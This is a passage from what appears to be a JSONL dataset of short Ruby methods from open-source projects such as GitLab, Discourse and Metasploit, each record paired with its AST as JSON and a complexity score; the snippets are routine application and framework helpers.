{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_info\"]},\"segments\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_info\"]},\"segments\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\".0\"]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"edf235d8-a7b7-46d1-8eeb-a114afa1b5b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/refs_controller.rb","start_line":49,"raw_source":"def logs_tree\n    authenticate_user! if require_auth?\n\n    respond_to do |format|\n      format.json do\n        logs, next_offset = tree_summary.fetch_logs\n\n        response.headers[\"More-Logs-Offset\"] = next_offset.to_s if next_offset\n\n        render json: logs\n      end\n    end\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"logs_tree\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_auth?\"]},{\"type\":\"send\",\"children\":[null,\"authenticate_user!\"]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logs\"]},{\"type\":\"lvasgn\",\"children\":[\"next_offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tree_summary\"]},\"fetch_logs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"More-Logs-Offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_offset\"]},\"to_s\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"logs\"]}]}]}]}]}]}]}]}]}","id":"6d0d484b-ece8-42dd-b59a-e32836c67264"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit.rb","start_line":803,"raw_source":"def payload_prepend(explicit_target = nil)\n    explicit_target ||= target\n\n    if (explicit_target and explicit_target.payload_prepend)\n      p = explicit_target.payload_prepend\n    else\n      p = payload_info['Prepend'] || ''\n    end\n\n    stack_adjustment + p\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_prepend\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"explicit_target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"explicit_target\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_target\"]},\"payload_prepend\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_target\"]},\"payload_prepend\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Prepend\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stack_adjustment\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}","id":"82ec7677-1ef8-48c1-9336-27318fd1d02a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/relation_export_service.rb","start_line":99,"raw_source":"def ensure_export_file_exists!\n      FileUtils.touch(exported_filepath)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_export_file_exists!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"touch\",{\"type\":\"send\",\"children\":[null,\"exported_filepath\"]}]}]}","id":"06a3f7f2-5826-4f9f-b605-b9739ac33c7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/deploy_keys_controller.rb","start_line":140,"raw_source":"def find_keys(filter:)\n    finder_params = {\n      filter: filter,\n      search: params[:search],\n      in: params[:in]\n    }.compact\n\n    DeployKeys::DeployKeysFinder.new(project, current_user, finder_params).execute\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"filter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"finder_params\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"in\"]}]}]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployKeys\"]},\"DeployKeysFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"finder_params\"]}]},\"execute\"]}]}]}","id":"98d02193-88cf-4658-9af2-344c0d5322a7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_attachable/lib/acts_as_attachable.rb","start_line":102,"raw_source":"def add_on_new_permission(options)\n          options[:add_on_new_permission] || options[:add_permission] || edit_permission_default\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_on_new_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"add_on_new_permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"add_permission\"]}]}]},{\"type\":\"send\",\"children\":[null,\"edit_permission_default\"]}]}]}","id":"58f43d2b-2245-4495-a701-94179474997c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/contacts/notes_controller.rb","start_line":25,"raw_source":"def note\n    @note ||= @contact.notes.find(params[:id])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"notes\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"b4d3621f-31b8-4058-8650-dc0a70691ac5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service/progress_values_calculations.rb","start_line":41,"raw_source":"def calculate_remaining_work(work:, percent_complete:)\n      completed_work = work * percent_complete / 100.0\n      remaining_work = (work - completed_work).round(2)\n      remaining_work.clamp(0.0, work)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_remaining_work\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work\"]},{\"type\":\"kwarg\",\"children\":[\"percent_complete\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"completed_work\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"percent_complete\"]}]},\"/\",{\"type\":\"float\",\"children\":[100.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"remaining_work\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"completed_work\"]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_work\"]},\"clamp\",{\"type\":\"float\",\"children\":[0.0]},{\"type\":\"lvar\",\"children\":[\"work\"]}]}]}]}","id":"12cd5eb6-9dc9-4c39-9085-5978850b903e"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/readonly_test.rb","start_line":25,"raw_source":"def test_write_should_not_update_cache\n    assert_memcache_operations(0) do\n      fetcher.write(@key, @value)\n    end\n    assert_nil(backend.read(@key))\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_should_not_update_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetcher\"]},\"write\",{\"type\":\"ivar\",\"children\":[\"@key\"]},{\"type\":\"ivar\",\"children\":[\"@value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backend\"]},\"read\",{\"type\":\"ivar\",\"children\":[\"@key\"]}]}]}]}]}","id":"07a7ac7d-38fe-41bc-8a51-d65747590372"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/miq_config_sssd_ldap/configure_apache.rb","start_line":8,"raw_source":"def configure\n      LOGGER.debug(\"Invoked #{self.class}##{__method__} template_dir #{template_dir}\")\n      create_files\n      update_realm\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGGER\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invoked \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]},{\"type\":\"str\",\"children\":[\" template_dir \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_dir\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_files\"]},{\"type\":\"send\",\"children\":[null,\"update_realm\"]}]}]}","id":"516dfe9a-8c8c-4dc2-8fe4-c6df7197a35a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/samplers/database_sampler.rb","start_line":52,"raw_source":"def replica_host_stats\n          Gitlab::Database::LoadBalancing.each_load_balancer.with_object([]) do |load_balancer, stats|\n            next if load_balancer.primary_only?\n\n            load_balancer.host_list.hosts.each do |host|\n              stats << { labels: labels_for_replica_host(load_balancer, host), stats: host.pool.stat }\n            end\n          end\n        end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"replica_host_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"LoadBalancing\"]},\"each_load_balancer\"]},\"with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"load_balancer\"]},{\"type\":\"arg\",\"children\":[\"stats\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_balancer\"]},\"primary_only?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_balancer\"]},\"host_list\"]},\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"send\",\"children\":[null,\"labels_for_replica_host\",{\"type\":\"lvar\",\"children\":[\"load_balancer\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stats\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"pool\"]},\"stat\"]}]}]}]}]}]}]}]}","id":"14f5235b-f9d6-4cf8-bf01-feafdbe0ec85"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/delete_orphaned_pipeline_variable_records.rb","start_line":31,"raw_source":"def base_relation\n        define_batchable_model(batch_table, connection: connection, primary_key: :id)\n          .where(batch_column => start_id..end_id)\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"base_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"send\",\"children\":[null,\"batch_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_column\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_id\"]},{\"type\":\"send\",\"children\":[null,\"end_id\"]}]}]}]}]}]}","id":"113954b3-3963-4256-9df6-29de33991aa6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/accounts.rb","start_line":606,"raw_source":"def report_errors(errors)\n      message = errors.map do |error|\n        <<~STRING\n          Failure/Error: #{error.attribute}\n              #{error.type}\n        STRING\n      end.join\n\n      fail_with_message message\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"errors\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failure/Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"type\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},\"join\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"aed023f9-a514-4bad-a70a-23a206a7b367"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/channel_messages_controller.rb","start_line":24,"raw_source":"def destroy\n    Chat::TrashMessage.call(service_params) do\n      on_success { render(json: success_json) }\n      on_failure { render(json: failed_json, status: :unprocessable_entity) }\n      on_model_not_found(:message) { raise Discourse::NotFound }\n      on_failed_policy(:invalid_access) { raise Discourse::InvalidAccess }\n      on_failed_contract do |contract|\n        render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n      end\n    end\n  end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"TrashMessage\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"invalid_access\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"b35c6940-43ab-42ab-831d-f44f52bf006a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_custom_holidays.rb","start_line":15,"raw_source":"def test_load_custom_returns_loaded_holidays\n    expected_loaded_holidays = {6=>[{:mday=>20, :name=>\"Company Founding\", :regions=>[:custom_single_file]}]}\n\n    assert_equal expected_loaded_holidays, Holidays.load_custom('test/data/test_single_custom_holiday_defs.yaml')\n  end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_load_custom_returns_loaded_holidays\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_loaded_holidays\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Company Founding\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_single_file\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_loaded_holidays\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"load_custom\",{\"type\":\"str\",\"children\":[\"test/data/test_single_custom_holiday_defs.yaml\"]}]}]}]}]}","id":"34295633-41f0-420c-9686-ba3d67a0a18e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/messages/facebook/message_builder.rb","start_line":39,"raw_source":"def build_contact_inbox\n    @contact_inbox = ::ContactInboxWithContactBuilder.new(\n      source_id: @sender_id,\n      inbox: @inbox,\n      contact_attributes: contact_params\n    ).perform\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_contact_inbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContactInboxWithContactBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"ivar\",\"children\":[\"@sender_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"ivar\",\"children\":[\"@inbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_attributes\"]},{\"type\":\"send\",\"children\":[null,\"contact_params\"]}]}]}]},\"perform\"]}]}]}","id":"bb99a94f-8e21-41e9-92a9-e622b6756416"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/matchers/link_handlers/base.rb","start_line":49,"raw_source":"def initialize(matcher, context:)\n        @matcher = matcher\n        @context = context\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"kwarg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@matcher\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"3181dad5-d4f3-4559-bd10-e2421b23a76a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/discussion.rb","start_line":173,"raw_source":"def expanded?\n    !collapsed?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expanded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collapsed?\"]},\"!\"]}]}","id":"cd3b0a1e-9eae-4582-b8c8-199f56296ce0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/environments/stop_service_spec.rb","start_line":353,"raw_source":"def feature_environment\n    create(:environment, :with_review_app, project: project, ref: 'feature', user: user)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"sym\",\"children\":[\"with_review_app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"str\",\"children\":[\"feature\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"0c8e52a9-2fe3-4946-8fd4-3236922d6b70"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/rpcapd_start.rb","start_line":89,"raw_source":"def run_rpcapd(cmdline)\n    service_name = 'rpcapd'\n    if service_restart(service_name)\n      print_good(\"Rpcapd started successfully: #{cmdline}\")\n    else\n      print_error('There was an error restarting rpcapd.exe.')\n    end\n  rescue StandardError => e\n    print_error(\"The following error was encountered: #{e.class} #{e}\")\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run_rpcapd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmdline\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_name\",{\"type\":\"str\",\"children\":[\"rpcapd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_restart\",{\"type\":\"lvar\",\"children\":[\"service_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Rpcapd started successfully: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdline\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"There was an error restarting rpcapd.exe.\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The following error was encountered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"b3f03d65-541e-45eb-b6c9-2131ed5a2ac5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/identical_conditional_branches.rb","start_line":193,"raw_source":"def check_expressions(node, expressions, insert_position)\n          return if expressions.any?(&:nil?)\n\n          inserted_expression = false\n\n          expressions.each do |expression|\n            add_offense(expression) do |corrector|\n              next if node.if_type? && (node.ternary? || node.then?)\n\n              range = range_by_whole_lines(expression.source_range, include_final_newline: true)\n              corrector.remove(range)\n              next if inserted_expression\n\n              if node.parent&.assignment?\n                correct_assignment(corrector, node, expression, insert_position)\n              else\n                correct_no_assignment(corrector, node, expression, insert_position)\n              end\n\n              inserted_expression = true\n            end\n          end\n        